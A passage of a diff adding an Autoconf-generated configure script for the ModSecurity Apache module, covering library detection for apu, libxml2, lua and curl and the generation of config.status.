--includes`" + APU_LDFLAGS="`${APU_CONFIG} --ldflags`" + APU_LIBS="`${APU_CONFIG} --libs`" + APU_LINK_LD="`${APU_CONFIG} --link-ld`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + + + +if test -z "${APU_LIBS}"; then + { echo "$as_me:$LINENO: *** apu library not found." >&5 +echo "$as_me: *** apu library not found." >&6;} + { { echo "$as_me:$LINENO: error: apu library is required" >&5 +echo "$as_me: error: apu library is required" >&2;} + { (exit 1); exit 1; }; } +else + { echo "$as_me:$LINENO: using '${APU_LINK_LD}' for apu Library" >&5 +echo "$as_me: using '${APU_LINK_LD}' for apu Library" >&6;} + +fi + + + +# Check whether --with-libxml was given. +if test "${with_libxml+set}" = set; then + withval=$with_libxml; libxml_path="$withval" +else + : +fi + + +if test -z "${libxml_path}"; then + test_paths="/usr/local /usr" +else + test_paths="${libxml_path}" +fi + +{ echo "$as_me:$LINENO: checking for libxml2 config script" >&5 +echo $ECHO_N "checking for libxml2 config script... $ECHO_C" >&6; } +for x in ${test_paths}; do + if test -e "${x}/bin/${LIBXML_CONFIG}"; then + with_libxml="${x}/bin" + break + else + with_libxml="" + fi +done +if test -n "${with_libxml}"; then + LIBXML_CONFIG="${with_libxml}/${LIBXML_CONFIG}" + { echo "$as_me:$LINENO: result: ${LIBXML_CONFIG}" >&5 +echo "${ECHO_T}${LIBXML_CONFIG}" >&6; } + LIBXML_CFLAGS="`${LIBXML_CONFIG} --cflags`" + LIBXML_LIBS="`${LIBXML_CONFIG} --libs`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + +if test -z "${LIBXML_LIBS}"; then + { echo "$as_me:$LINENO: *** libxml2 library not found." >&5 +echo "$as_me: *** libxml2 library not found." >&6;} + { { echo "$as_me:$LINENO: error: libxml2 library is required" >&5 +echo "$as_me: error: libxml2 library is required" >&2;} + { (exit 1); exit 1; }; } +else + { echo "$as_me:$LINENO: using '${LIBXML_LIBS}' for libxml Library" >&5 +echo "$as_me: using '${LIBXML_LIBS}' for libxml Library" >&6;} + +fi + + + +# Check whether --with-lua was given. +if test "${with_lua+set}" = set; then + withval=$with_lua; lua_path="$withval" +else + : +fi + + +if test "${lua_path}" != "no"; then + if test -z "${lua_path}"; then + test_paths="/usr/local /usr" + else + test_paths="${lua_path}" + fi + + { echo "$as_me:$LINENO: checking for pkg-config script for lua library" >&5 +echo $ECHO_N "checking for pkg-config script for lua library... $ECHO_C" >&6; } + for x in ${test_paths}; do + if test -e "${x}/bin/${LUA_CONFIG}"; then + with_lua="${x}/bin" + break + else + with_lua="" + fi + done + if test -n "${with_lua}"; then + LUA_CONFIG="${with_lua}/${LUA_CONFIG}" + for LUA_PKGNAME in ${LUA_PKGNAMES}; do + if ${LUA_CONFIG} --exists ${LUA_PKGNAME}; then + break + fi + LUA_PKGNAME="" + done + if test -n "$LUA_PKGNAME"; then + { echo "$as_me:$LINENO: result: ${LUA_CONFIG} ${LUA_PKGNAME}" >&5 +echo "${ECHO_T}${LUA_CONFIG} ${LUA_PKGNAME}" >&6; } + LUA_CFLAGS="`${LUA_CONFIG} ${LUA_PKGNAME} --cflags`" + LUA_LIBS="`${LUA_CONFIG} ${LUA_PKGNAME} --libs`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + + { echo "$as_me:$LINENO: checking for lua install" >&5 +echo $ECHO_N "checking for lua install... $ECHO_C" >&6; } + for x in ${test_paths}; do + if test -e "${x}/liblua5.1.a"; then + with_lua_lib="${x}" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib/liblua5.1.a"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib64/liblua5.1.a"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib32/liblua5.1.a"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua5.1" + break + elif test -e "${x}/liblua.a"; then + with_lua_lib="${x}" + lua_lib_name="lua" + break + elif test -e "${x}/lib/liblua.a"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua" + break + elif test -e "${x}/lib64/liblua.a"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua" + break + elif test -e "${x}/lib32/liblua.a"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua" + break + else + with_lua_lib="" + lua_lib_name="" + fi + done + for x in ${test_paths}; do + if test -e "${x}/lua.h"; then + with_lua_inc="${x}" + break + elif test -e "${x}/include/lua.h"; then + with_lua_inc="${x}/include" + break + else + with_lua_inc="" + fi + done + if test -n "${with_lua_lib}" -a -n "${with_lua_inc}"; then + LUA_CONFIG="" + { echo "$as_me:$LINENO: result: ${with_lua_lib} ${with_lua_inc}" >&5 +echo "${ECHO_T}${with_lua_lib} ${with_lua_inc}" >&6; } + LUA_CFLAGS="-I${with_lua_inc}" + LUA_LIBS="-L${with_lua_lib} -l${lua_lib_name}" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + fi +else + { echo "$as_me:$LINENO: not using optional lua library" >&5 +echo "$as_me: not using optional lua library" >&6;} +fi + +if test -n "${LUA_LIBS}"; then + LUA_CFLAGS="-DWITH_LUA ${LUA_CFLAGS}" +fi + + + + +if test "${lua_path}" != "no"; then + if test -z "${LUA_LIBS}"; then + { echo "$as_me:$LINENO: optional lua library not found" >&5 +echo "$as_me: optional lua library not found" >&6;} + else + { echo "$as_me:$LINENO: using '${LUA_LIBS}' for lua Library" >&5 +echo "$as_me: using '${LUA_LIBS}' for lua Library" >&6;} + + fi +fi + + + +# Check whether --with-curl was given. +if test "${with_curl+set}" = set; then + withval=$with_curl; curl_path="$withval" +else + : +fi + + +if test -z "${curl_path}"; then + test_paths="/usr/local /usr" +else + test_paths="${curl_path}" +fi + +{ echo "$as_me:$LINENO: checking for libcurl config script" >&5 +echo $ECHO_N "checking for libcurl config script... $ECHO_C" >&6; } +for x in ${test_paths}; do + if test -e "${x}/bin/${CURL_CONFIG}"; then + with_curl="${x}/bin" + break + else + with_curl="" + fi +done +if test -n "${with_curl}"; then + CURL_CONFIG="${with_curl}/${CURL_CONFIG}" + { echo "$as_me:$LINENO: result: ${CURL_CONFIG}" >&5 +echo "${ECHO_T}${CURL_CONFIG}" >&6; } + CURL_CFLAGS="`${CURL_CONFIG} --cflags`" + CURL_LIBS="`${CURL_CONFIG} --libs`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + +if test -z "${CURL_LIBS}"; then + { echo "$as_me:$LINENO: *** curl library not found." >&5 +echo "$as_me: *** curl library not found." >&6;} + { echo "$as_me:$LINENO: NOTE: curl library is only required for building mlogc" >&5 +echo "$as_me: NOTE: curl library is only required for building mlogc" >&6;} +else + { echo "$as_me:$LINENO: using '${CURL_LIBS}' for curl Library" >&5 +echo "$as_me: using '${CURL_LIBS}' for curl Library" >&6;} + +fi + + +ac_config_files="$ac_config_files Makefile" + +ac_config_files="$ac_config_files build/apxs-wrapper" + +if test -e "$PERL"; then + ac_config_files="$ac_config_files t/run-tests.pl" + + ac_config_files="$ac_config_files t/gen_rx-pm.pl" + + + # Perl based tools + ac_config_files="$ac_config_files ../tools/rules-updater.pl" + +fi +if test -e "mlogc-src/Makefile.in"; then + ac_config_files="$ac_config_files mlogc-src/Makefile" + +fi + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + test "x$cache_file" != "x/dev/null" && + { echo "$as_me:$LINENO: updating cache $cache_file" >&5 +echo "$as_me: updating cache $cache_file" >&6;} + cat confcache >$cache_file + else + { echo "$as_me:$LINENO: not updating unwritable cache $cache_file" >&5 +echo "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`echo "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + ac_libobjs="$ac_libobjs \${LIBOBJDIR}$ac_i\$U.$ac_objext" + ac_ltlibobjs="$ac_ltlibobjs \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + + +: ${CONFIG_STATUS=./config.status} +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 +echo "$as_me: creating $CONFIG_STATUS" >&6;} +cat >$CONFIG_STATUS <<_ACEOF +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false +SHELL=\${CONFIG_SHELL-$SHELL} +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + +exec 6>&1 + +# Save the log message, to keep $[0] and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by $as_me, which was +generated by GNU Autoconf 2.61. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +cat >>$CONFIG_STATUS <<_ACEOF +# Files that config.status was made for. +config_files="$ac_config_files" +config_headers="$ac_config_headers" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +ac_cs_usage="\ +\`$as_me' instantiates files from templates according to the +current configuration. + +Usage: $0 [OPTIONS] [FILE]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + -q, --quiet do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + --header=FILE[:TEMPLATE] + instantiate the configuration header FILE + +Configuration files: +$config_files + +Configuration headers: +$config_headers + +Report bugs to <bug-autoconf@gnu.org>." + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +ac_cs_version="\\ +config.status +configured by $0, generated by GNU Autoconf 2.61, + with options \\"`echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\" + +Copyright (C) 2006 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If no file are specified by the user, then we need to provide default +# value. By we need to know if files were specified by the user. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + echo "$ac_cs_version"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + CONFIG_FILES="$CONFIG_FILES $ac_optarg" + ac_need_defaults=false;; + --header | --heade | --head | --hea ) + $ac_shift + CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg" + ac_need_defaults=false;; + --he | --h) + # Conflict between --help and --header + { echo "$as_me: error: ambiguous option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; };; + --help | --hel | -h ) + echo "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) { echo "$as_me: error: unrecognized option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } ;; + + *) ac_config_targets="$ac_config_targets $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +if \$ac_cs_recheck; then + echo "running CONFIG_SHELL=$SHELL $SHELL $0 "$ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6 + CONFIG_SHELL=$SHELL + export CONFIG_SHELL + exec $SHELL "$0"$ac_configure_args \$ac_configure_extra_args --no-create --no-recursion +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + echo "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "mod_security2_config.h") CONFIG_HEADERS="$CONFIG_HEADERS mod_security2_config.h" ;; + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + "build/apxs-wrapper") CONFIG_FILES="$CONFIG_FILES build/apxs-wrapper" ;; + "t/run-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-tests.pl" ;; + "t/gen_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/gen_rx-pm.pl" ;; + "../tools/rules-updater.pl") CONFIG_FILES="$CONFIG_FILES ../tools/rules-updater.pl" ;; + "mlogc-src/Makefile") CONFIG_FILES="$CONFIG_FILES mlogc-src/Makefile" ;; + + *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 +echo "$as_me: error: invalid argument: $ac_config_target" >&2;} + { (exit 1); exit 1; }; };; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files + test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= + trap 'exit_status=$? + { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status +' 0 + trap '{ (exit 1); exit 1; }' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -n "$tmp" && test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || +{ + echo "$me: cannot create a temporary directory in ." >&2 + { (exit 1); exit 1; } +} + +# +# Set up the sed scripts for CONFIG_FILES section. +# + +# No need to generate the scripts if there are no CONFIG_FILES. +# This happens for instance when ./config.status config.h +if test -n "$CONFIG_FILES"; then + +_ACEOF + + + +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + cat >conf$$subs.sed <<_ACEOF +SHELL!$SHELL$ac_delim +PATH_SEPARATOR!$PATH_SEPARATOR$ac_delim +PACKAGE_NAME!$PACKAGE_NAME$ac_delim +PACKAGE_TARNAME!$PACKAGE_TARNAME$ac_delim +PACKAGE_VERSION!$PACKAGE_VERSION$ac_delim +PACKAGE_STRING!$PACKAGE_STRING$ac_delim +PACKAGE_BUGREPORT!$PACKAGE_BUGREPORT$ac_delim +exec_prefix!$exec_prefix$ac_delim +prefix!$prefix$ac_delim +program_transform_name!$program_transform_name$ac_delim +bindir!$bindir$ac_delim +sbindir!$sbindir$ac_delim +libexecdir!$libexecdir$ac_delim +datarootdir!$datarootdir$ac_delim +datadir!$datadir$ac_delim +sysconfdir!$sysconfdir$ac_delim +sharedstatedir!$sharedstatedir$ac_delim +localstatedir!$localstatedir$ac_delim +includedir!$includedir$ac_delim +oldincludedir!$oldincludedir$ac_delim +docdir!$docdir$ac_delim +infodir!$infodir$ac_delim +htmldir!$htmldir$ac_delim +dvidir!$dvidir$ac_delim +pdfdir!$pdfdir$ac_delim +psdir!$psdir$ac_delim +libdir!$libdir$ac_delim +localedir!$localedir$ac_delim +mandir!$mandir$ac_delim +DEFS!$DEFS$ac_delim +ECHO_C!$ECHO_C$ac_delim +ECHO_N!$ECHO_N$ac_delim +ECHO_T!$ECHO_T$ac_delim +LIBS!$LIBS$ac_delim +build_alias!$build_alias$ac_delim +host_alias!$host_alias$ac_delim +target_alias!$target_alias$ac_delim +CXX!$CXX$ac_delim +CXXFLAGS!$CXXFLAGS$ac_delim +LDFLAGS!$LDFLAGS$ac_delim +CPPFLAGS!$CPPFLAGS$ac_delim +ac_ct_CXX!$ac_ct_CXX$ac_delim +EXEEXT!$EXEEXT$ac_delim +OBJEXT!$OBJEXT$ac_delim +CC!$CC$ac_delim +CFLAGS!$CFLAGS$ac_delim +ac_ct_CC!$ac_ct_CC$ac_delim +CPP!$CPP$ac_delim +INSTALL_PROGRAM!$INSTALL_PROGRAM$ac_delim +INSTALL_SCRIPT!$INSTALL_SCRIPT$ac_delim +INSTALL_DATA!$INSTALL_DATA$ac_delim +LN_S!$LN_S$ac_delim +SET_MAKE!$SET_MAKE$ac_delim +RANLIB!$RANLIB$ac_delim +PERL!$PERL$ac_delim +GREP!$GREP$ac_delim +EGREP!$EGREP$ac_delim +LIBOBJS!$LIBOBJS$ac_delim +EXTRA_CFLAGS!$EXTRA_CFLAGS$ac_delim +MODSEC_EXTRA_CFLAGS!$MODSEC_EXTRA_CFLAGS$ac_delim +APXS!$APXS$ac_delim +APXS_WRAPPER!$APXS_WRAPPER$ac_delim +APXS_INCLUDEDIR!$APXS_INCLUDEDIR$ac_delim +APXS_INCLUDES!$APXS_INCLUDES$ac_delim +APXS_EXTRA_CFLAGS!$APXS_EXTRA_CFLAGS$ac_delim +MODSEC_APXS_EXTRA_CFLAGS!$MODSEC_APXS_EXTRA_CFLAGS$ac_delim +APXS_LDFLAGS!$APXS_LDFLAGS$ac_delim +APXS_LIBS!$APXS_LIBS$ac_delim +APXS_CFLAGS!$APXS_CFLAGS$ac_delim +APXS_LIBTOOL!$APXS_LIBTOOL$ac_delim +APXS_CC!$APXS_CC$ac_delim +PCRE_LIBS!$PCRE_LIBS$ac_delim +PCRE_CFLAGS!$PCRE_CFLAGS$ac_delim +APR_LIBS!$APR_LIBS$ac_delim +APR_CFLAGS!$APR_CFLAGS$ac_delim +APR_LDFLAGS!$APR_LDFLAGS$ac_delim +APR_LINK_LD!$APR_LINK_LD$ac_delim +APU_LIBS!$APU_LIBS$ac_delim +APU_CFLAGS!$APU_CFLAGS$ac_delim +APU_LDFLAGS!$APU_LDFLAGS$ac_delim +APU_LINK_LD!$APU_LINK_LD$ac_delim +LIBXML_LIBS!$LIBXML_LIBS$ac_delim +LIBXML_CFLAGS!$LIBXML_CFLAGS$ac_delim +LUA_LIBS!$LUA_LIBS$ac_delim +LUA_CFLAGS!$LUA_CFLAGS$ac_delim +CURL_LIBS!$CURL_LIBS$ac_delim +CURL_CFLAGS!$CURL_CFLAGS$ac_delim +LTLIBOBJS!$LTLIBOBJS$ac_delim +_ACEOF + + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 88; then + break + elif $ac_last_try; then + { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +echo "$as_me: error: could not make $CONFIG_STATUS" 